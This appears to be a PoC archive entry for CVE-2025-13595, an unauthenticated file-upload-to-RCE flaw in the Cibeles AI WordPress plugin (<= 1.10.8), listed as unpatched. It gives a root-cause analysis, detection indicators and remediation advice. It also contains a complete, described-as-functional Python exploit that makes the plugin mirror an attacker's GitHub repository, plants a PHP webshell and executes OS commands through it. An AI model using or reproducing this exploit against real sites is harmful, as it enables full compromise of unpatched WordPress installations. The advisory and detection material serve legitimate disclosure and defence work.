PoC Archive PoC Archive
Critical CVE-2025-13595 unpatched

Cibeles AI `actualizador_git.php` Unauthenticated Arbitrary File Upload / RCE (CVE-2025-13595)

by Ryan Kozak (d0n601) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-13595
Category
web
Affected product
Cibeles AI (WordPress plugin)
Affected versions
<= 1.10.8
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherRyan Kozak (d0n601)
CVE / AdvisoryCVE-2025-13595
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagswordpress, cibeles-ai, unauthenticated-file-upload, github-mirror-abuse, webshell, python, cwe-434, cwe-306
RelatedCVE-2025-13597

Affected Target

FieldValue
Software / SystemCibeles AI (WordPress plugin)
Versions Affected<= 1.10.8
Language / PlatformPython 3 exploit targeting a PHP/WordPress plugin
Authentication RequiredNo
Network Access RequiredYes

Summary

The Cibeles AI plugin ships a debug/update helper, actualizador_git.php, directly inside its plugin directory. The file is missing the standard WordPress ABSPATH guard, so it is reachable over plain HTTP without any authentication, and it implements a “GitHub repository mirror” feature: it reads owner, repo, ref, and token straight from $_GET, downloads the corresponding GitHub repo zipball via the GitHub API, extracts it, and recursively copies/overwrites every file in the plugin’s own directory to match the downloaded repo — deleting any local file not present in the attacker-supplied repo. An unauthenticated attacker who owns (or has push access to) any public/private GitHub repo can point this endpoint at their own repository containing a PHP webshell, and the plugin will dutifully install it inside wp-content/plugins/cibeles-ai/.


Vulnerability Details

Root Cause

actualizador_git.php reads attacker-controlled parameters with no authentication and no validation of the target repository:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$OWNER = $_GET['owner'] ?? 'cibeles';
$REPO  = $_GET['repo']  ?? 'svn_cibeles-ai';
$REF   = $_GET['ref']   ?? 'main';
$TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';

if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') {
    http_response_code(400);
    exit("Falta token\n");
}

$apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
curl_download($apiUrl, $zip, $TOKEN);

The only “check” is that a non-empty, non-default token value is supplied — any valid GitHub PAT works, including one belonging to the attacker’s own account, since $OWNER/$REPO are never restricted to the vendor’s actual repository. The downloaded zipball is then extracted and mirrored on top of the live plugin directory:

1
2
3
4
5
$zipArc->extractTo($extractDir);
$rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
rrcopy_into($rootInsideZip, $cwd);
...
mirror_delete_extras($cwd, $keepSet, $PRESERVE);

rrcopy_into() recursively copies every file from the attacker’s repo into the plugin directory (overwriting existing files), and mirror_delete_extras() deletes anything not in the attacker’s manifest — giving full read/write control over the plugin’s PHP files.

Attack Vector

  1. Attacker creates a public GitHub repository (e.g. minimal-rce) containing a PHP webshell file (e.g. shell.php).
  2. Attacker obtains any valid GitHub Personal Access Token (their own account’s token is sufficient — it is only used to authenticate to the GitHub API, not to authorize against the target).
  3. Attacker sends GET /wp-content/plugins/cibeles-ai/actualizador_git.php?owner=<their_owner>&repo=<their_repo>&ref=main&token=<their_PAT> to the target site.
  4. The plugin downloads and mirrors the attacker’s repo into its own plugin directory, planting shell.php.
  5. Attacker requests /wp-content/plugins/cibeles-ai/shell.php?cmd=<command> to execute arbitrary OS commands as the web server user.

Impact

Unauthenticated arbitrary file write leading directly to remote code execution as the web server user (www-data in the PoC), and full compromise of the WordPress installation.


Environment / Lab Setup

Target: WordPress install with Cibeles AI plugin <= 1.10.8 active
Attacker: Python 3, `pip install requests`
Attacker-controlled GitHub repo (e.g. d0n601/minimal-rce) containing shell.php,
and a valid GitHub Personal Access Token (github_pat_...)

Proof of Concept

PoC Script

See CVE-2025-13595.py in this folder.

1
2
3
4
python3 CVE-2025-13595.py -t http://TARGET -o your_github_username -r minimal-rce \
  -k github_pat_YOURKEYHERE -c whoami

#

Detection & Indicators of Compromise

GET /wp-content/plugins/cibeles-ai/actualizador_git.php?owner=...&repo=...&ref=...&token=... HTTP/1.1
GET /wp-content/plugins/cibeles-ai/shell.php?cmd=... HTTP/1.1

Signs of compromise:

  • Any external request to actualizador_git.php with non-default owner/repo parameters
  • Recently modified/created PHP files inside wp-content/plugins/cibeles-ai/ that don’t match the official plugin release
  • Presence of shell.php or any unexpected single-file PHP scripts under the plugin directory
  • Outbound HTTPS connections from the web server to api.github.com at unusual times, correlated with plugin file changes

Remediation

ActionDetail
Primary fixUpdate Cibeles AI to a version that removes or properly authenticates actualizador_git.php (add ABSPATH check, restrict to admin-authenticated + capability-checked requests, and pin the mirrored repository)
Interim mitigationDelete or block direct HTTP access to actualizador_git.php via web server rules; monitor plugin directory file integrity; restrict outbound connections from the web server to api.github.com

References


Notes

Mirrored from https://github.com/d0n601/CVE-2025-13595 on 2026-07-06. Short (55-line) but fully functional exploit script; the technical README includes a precise line-by-line root-cause walkthrough matching the vulnerable plugin file.

CVE-2025-13595.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# Exploit Title: CIBELES AI <= 1.10.8 - Unauthenticated Arbitrary File Upload
# Date: 11/22/2025
# Exploit Author: Ryan Kozak
# Vendor Homepage: https://ai.cibeles.net/
# Version: <= 1.10.8
# CVE : CVE-2025-13595

import requests
import argparse


def exploit(target, owner, repo, token, command):
    print("[*] Exploiting actualizador_git.php vulnerability...")
    print(f"[*] Downloading and installing shell from GitHub repository: {owner}/{repo}")
    
    exploit_url = f"{target}/wp-content/plugins/cibeles-ai/actualizador_git.php"
    params = {
        'owner': owner,
        'repo': repo,
        'ref': 'main',
        'token': token
    }
    
    response = requests.get(exploit_url, params=params, timeout=30)
    print(response.text.strip())
    
    print("\n[*] Exploit executed. Checking if shell.php was created...\n")
    
    print("[*] Testing shell access...")
    shell_url = f"{target}/wp-content/plugins/cibeles-ai/shell.php"
    shell_params = {'cmd': command}
    
    response = requests.get(shell_url, params=shell_params, timeout=10)
    print(response.text.strip())
    
    print("\n")
    print("[*] Shell should be accessible at:")
    print(f"    {target}/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND")

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', required=True, help='Target URL')
    parser.add_argument('-o', '--owner', required=True, help='GitHub repository owner')
    parser.add_argument('-r', '--repo', required=True, help='GitHub repository name')
    parser.add_argument('-k', '--token', required=True, help='GitHub Personal Access Token')
    parser.add_argument('-c', '--command', default='whoami', help='Command to execute (default: whoami)')
    
    args = parser.parse_args()
    
    exploit(args.target, args.owner, args.repo, args.token, args.command)


if __name__ == '__main__':
    main()